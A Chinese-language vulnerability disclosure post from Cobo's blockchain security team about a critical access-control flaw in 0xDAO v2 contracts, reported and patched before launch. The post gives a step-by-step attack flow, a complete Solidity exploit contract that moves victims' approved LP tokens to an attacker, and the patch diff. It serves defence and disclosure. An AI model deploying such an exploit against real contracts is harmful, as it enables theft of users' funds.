此篇文章由 Cobo 区块链安全团队供稿,团队成员来自知名安全实验室,有多年网络安全与漏洞挖掘经验,曾协助谷歌 、微软等厂商处理高危漏洞并获致谢,在微软 MSRC 最有价值安全研究员Top 榜单中取得卓越的成绩。团队目前重点关注智能合约安全、DeFi 安全等方向,研究并分享前沿区块链安全技术。我们也希望对加密数字货币领域有研究精神和科学方法论的终身迭代学习者可以加入我们的行列,向行业输出思考洞察与研究观点!

此篇是CoboLabs的第8篇文章。

TL;DR

3月2日,0xDAO v2 原计划上线前的几个小时,Cobo 区块链安全团队启动对该项目的 DaaS 投前例行安全评估工作,随后快速地在 github 开源的项目代码中发现了一个严重的安全漏洞。经评估,如果 0xDAO v2 此时继续上线,该漏洞预计会造成数亿美金的资产损失。

Cobo 区块链安全团队立即启动应急预案,快速通过多个渠道联系到 0xDAO 项目方,提交该漏洞的完整攻击流程,紧急叫停了项目上线,随后协助 0xDAO 项目方对该漏洞进行了修复。日前,0xDAO 官方发布推文向 Cobo 区块链安全团队表示了感谢,并且表示会按照严重漏洞级别(Critical) 给予 Cobo 区块链安全团队漏洞赏金奖励。

原推链接:https://twitter.com/0xDAO_fi/status/1509468844942839809

项目方针对漏洞影响的反馈。

关于0xDAO

1月21日,0xDAO 项目 v1 版本上线。0xDAO v1 的目的主要是为了提高 TVL 争夺 Andre Cronje 的 veNFT 的空投份额。项目上线后很短时间内即达到 40 亿美金 TVL。在成功夺取到最大 veNFT 最大份额后,0xDAO 进入第二阶段。v2 版本的 0xDAO 将成为 Andre Cronje 新项目 Solidly 的收益聚合器(Yield Hub),项目方启动新的合约开发工作。

本次漏洞出现在 0xDAO v2 版本合约代码中。

漏洞原理

0xDAO v2 设计上要求用户在前端统一通过 UserProxyInterface 合约与协议进行交互。UserProxyInterface 合约会调用 UserProxyFactory.createAndGetUserProxy 为每个用户地址创建一个 UserProxy 合约。相关代码如下:

contract UserProxyFactory is ProxyImplementation { /** * @notice Create and or get a user's proxy * @param accountAddress Address for which to build or fetch the proxy */ function createAndGetUserProxy(address accountAddress) publicreturns(address) { // Only create proxies if they don't exist already bool userProxyExists = userProxyByAccount[accountAddress] != address(0); if (!userProxyExists) { require( msg.sender == userProxyInterfaceAddress, 'Only UserProxyInterface can register new user proxies' ); // 创建 UserProxy // 以 accountAddress 为 owner // 以 userProxyTemplateAddress 为 implementation address userProxyAddress = address( new UserProxy(userProxyTemplateAddress, accountAddress) ); // 初始化 // Set initial implementations IUserProxy(userProxyAddress).initialize( accountAddress, userProxyInterfaceAddress, oxLensAddress, implementationsAddresses ); // Update proxies mappings userProxyByAccount[accountAddress] = userProxyAddress; userProxyByIndex[userProxiesLength] = userProxyAddress; userProxiesLength++; isUserProxy[userProxyAddress] = true; } return userProxyByAccount[accountAddress]; }}contract UserProxyInterface { // 这个合约是用户前端交互的入口。 // Only allow users to interact with their proxy function createAndGetUserProxy() internal returns (IUserProxy) { return IUserProxy( IUserProxyFactory(userProxyFactoryAddress) .createAndGetUserProxy(msg.sender) ); }}

UserProxyFactory 创建的 UserProxy 是可升级合约,合约 owner 为用户地址。用户可以通过升级合约来任意修改合约代码及 storage,意味着该合约内容完全是用户可控的。UserProxy 合约代码如下:

contract UserProxy { bytes32 constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; // keccak256('eip1967.proxy.implementation') bytes32 constant OWNER_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; // keccak256('eip1967.proxy.admin') constructor(address _implementationAddress, address _ownerAddress) { assembly { sstore(IMPLEMENTATION_SLOT, _implementationAddress) sstore(OWNER_SLOT, _ownerAddress) } } function implementationAddress() external viewreturns(address_implementationAddress){ assembly { _implementationAddress := sload(IMPLEMENTATION_SLOT) } } function ownerAddress() public view returns (address _ownerAddress) { assembly { _ownerAddress := sload(OWNER_SLOT) } } function updateImplementationAddress(address _implementationAddress)external { require( msg.sender == ownerAddress(), 'Only owners can update implementation' ); assembly { sstore(IMPLEMENTATION_SLOT, _implementationAddress) } } function updateOwnerAddress(address _ownerAddress) external { require(msg.sender == ownerAddress(), 'Only owners can update owners'); assembly { sstore(OWNER_SLOT, _ownerAddress) } } // ....}

用户所有操作都将通过 UserProxy 合约作为中间代理与0xDAO 协议交互。下面是以用户执行 deposit 操作为例。UserProxyInterface 的 depositLp 方法实现如下:

contract UserProxyInterface { function depositLp(address solidPoolAddress, uint256 amount) public { // 找到 msg.sender 对应的 userProxy,如果没有就会自动创建。 IUserProxy userProxy = createAndGetUserProxy(); // 从 userProxy 中取出 ownerAddress address userProxyOwnerAddress = userProxy.ownerAddress(); // 将 userProxyOwnerAddress 的 LP 转到自身 IERC20(solidPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); // 将自身的 LP 授权给 userProxy 合约。 IERC20(solidPoolAddress).approve(address(userProxy), amount); // 调用 proxy 合约的 depositLp 方法 userProxy.depositLp(solidPoolAddress, amount); }}

用户正常的 deposit 流程为:1. 用户首先将自己的 LP token 授权给UserProxyInterface 合约2. 用户调用 UserProxyInterface.depositLp 函数。3. 根据 depositLp 代码的逻辑,用户资产先会转移到 UserProxyInterface 合约中,再授权给 userProxy 合约。4. 最后调用 userProxy.depositLp 完成后续的 deposit 操作。但这段代码中存在致命的缺陷:合约没有检查 userProxy.ownerAddress() 与合约调用的发起者即 msg.sender 是否一致。由于 userProxy 合约的内容是用户完全可控的,那么攻击者可以将自身 userProxy 的 ownerAddress 设置为受害者地址,然后利用代码中的 IERC20(solidPoolAddress).approve(address(userProxy), amount) 得到受害者资产授权,盗取受害者资产。具体的攻击流程为:通过正常的 deposit 流程触发UserProxyFactory.createAndGetUserProxy 为攻击者账户创建一个 UseProxy 合约。调用 UseProxy.updateImplementationAddress 修改 UseProxy 的 Implementation 合约地址为恶意合约地址。新的恶意合约中重新实现 depositLp 函数,将功能修改为将授权给该合约的 Token 转到攻击者地址调用 UseProxy.updateOwnerAddress 将 ownerAddress 修改成受害者地址。调用 UserProxyInterface.depositLp 触发攻击流程:将受害者地址授权给 UserProxyInterface 的 LP 代币转移到 UserProxyInterface 合约中。将上述代币再授权给 UserProxy 合约。调用 UserProxy.depositLp,由于我们已经将 Implementation 替换成恶意合约,这里实际完成的操作是将授权的代币转账给攻击者。至此针对受害者 LP 资产的盗取完成。需要注意的是,上述攻击流程的 4-a 过程的成功,需要受害者事先完成过对 UserProxyInterface 合约 approve 代币的操作。但由于 UserProxyInterface 是合约的交互入口,所以使用 0xDAO 协议的用户均会进行这一 Approve 动作。因此在链上找到此类受害者是比较容易的。前面漏洞解析均以 depositLp 函数为例,实际 UserProxyInterface 合约的 withdrawLp 等函数也有类似的问题,这里不多赘述。withdrawLp 函数代码如下:contract UserProxyInterface { function withdrawLp(address solidPoolAddress, uint256 amount) public { // Fetch user proxy IUserProxy userProxy = createAndGetUserProxy(); address userProxyOwnerAddress = userProxy.ownerAddress(); // Receive oxPool LP from UserProxy owner address oxPoolAddress = oxLens.oxPoolBySolidPool(solidPoolAddress); IERC20(oxPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); // Allow UserProxy to spend oxPool LP IERC20(oxPoolAddress).approve(address(userProxy), amount); // Withdraw oxPool LP via UserProxy (UserProxy will transfer it to owner) userProxy.withdrawLp(solidPoolAddress, amount); }}漏洞利用

根据前面的漏洞原理,Cobo 区块链安全团队实现了一个攻击脚本 Demo,代码如下:

// SPDX-License-Identifier: MITpragma solidity 0.8.11;interface IERC20 { function transferFrom( address from, address to, uint256 amount ) external returns (bool);}interface IUserProxyInterface { function depositLp(address, uint) external;}interface IUserProxyFactory { function createAndGetUserProxy(address) external returns (address);}interface IUserProxy { function updateImplementationAddress(address _implementationAddress) external; function updateOwnerAddress(address _ownerAddress) external;}interface IUserProxyHacker{ function setHacker(address) external;}contract UserProxyHacker { address public _hacker; event GotLP(address token, address hacker, uint256 amount); function setHacker(address hacker) external { _hacker = hacker; } function run(address userProxyFactory, address userProxyInterface, address hacker, address target, address token, uint amount) public { // Create UserProxy. IUserProxyInterface(userProxyInterface).depositLp(token, 0); // Get UserProxy address ourUserProxy = IUserProxyFactory(userProxyFactory).createAndGetUserProxy(address(this)); // Change impl IUserProxy(ourUserProxy).updateImplementationAddress(address(this)); // Set hacker address. IUserProxyHacker(ourUserProxy).setHacker(hacker); // Set owner to target IUserProxy(ourUserProxy).updateOwnerAddress(target); // Call depositLp, will callback to depositLp of this address IUserProxyInterface(userProxyInterface).depositLp(token, amount); } function depositLp(address token, uint256 amount) public { IERC20(token).transferFrom(msg.sender, _hacker, amount); emit GotLP(token, _hacker, amount); }}

通过调用上述合约的 run 方法,即可将任意用户授权给 UserProxyInterface 合约的任意资产转移到黑客账户中。完整的复现环境见:https://github.com/CoboCustody/cobo-blog/tree/main/0xdao_exploit在这个复现中,攻击者通过漏洞成功将受害者地址授权给 UserProxyInterface 合约的 ERC20 Token 全部转移到了攻击者地址中。

漏洞修复

经过 Cobo 区块链安全团队与0xDAO 项目方的沟通,项目方很快确认了漏洞的存在,并部署了新的合约完成了漏洞修复。漏洞合约https://ftmscan.com/address/0x8dc8105fcc1b13a6ad1db83c35112a230e617e5a#code修复后的合约https://ftmscan.com/address/0xd2f585c41cca33dce5227c8df6adf604085690c2#code核心补丁代码如下:contractUserProxyInterface{ function depositLp(address solidPoolAddress, uint256 amount) public { // Fetch user proxy IUserProxy userProxy = createAndGetUserProxy();- address userProxyOwnerAddress = userProxy.ownerAddress();+ address userProxyOwnerAddress = msg.sender; // Receive LP from UserProxy owner IERC20(solidPoolAddress).transferFrom( userProxyOwnerAddress, address(this), amount ); // Allow UserProxy to spend LP IERC20(solidPoolAddress).approve(address(userProxy), amount); // Deposit LP into oxPool via UserProxy userProxy.depositLp(solidPoolAddress, amount); } }补丁代码直接使用 msg.sender 作为 userProxyOwnerAddress 进行后续操作,从而避免了 userProxyOwnerAddress 与 msg.sender 不一致的情况。小结在此Cobo 区块链安全团队提醒进行 DeFi 项目投资的机构与个人,在进行投资时要留意在新项目投资中可能存在的安全风险。建议:选择开源且在上线前经过知名安全厂商进行过代码审计的项目。选择非匿名、在业界有一定知名度的项目方团队。链上交易过程中,检查交互的合约与项目合约地址的一致性,防范前端钓鱼攻击。尽量避免使用 ERC20 无限授权。关注区块链安全事件,发现风险及时响应。Cobo 区块链安全团队将持续关注区块链、DeFi 安全的前沿攻防技术,保障客户资产安全,并为整个区块链行业安全水平的提高贡献自己的力量。Cobo Labs 希望协助加密世界投资者规避风险、提高收益,为传统金融机构、风险投资公司、通证基金、个人投资者、交易所、媒体等伙伴提供客观、有深度的数据分析。关于亚太最大的加密货币托管及资管平台 Cobo:我们向机构提供领先的安全托管与企业资管业务;我们向全球高净值合格投资人提供加密数字钱包业务和丰富灵活的定期与结构化产品,我们关注金融创新,并于 2020 年第三季度成立了第一家面向全球机构的基金产品「DeFi Pro」。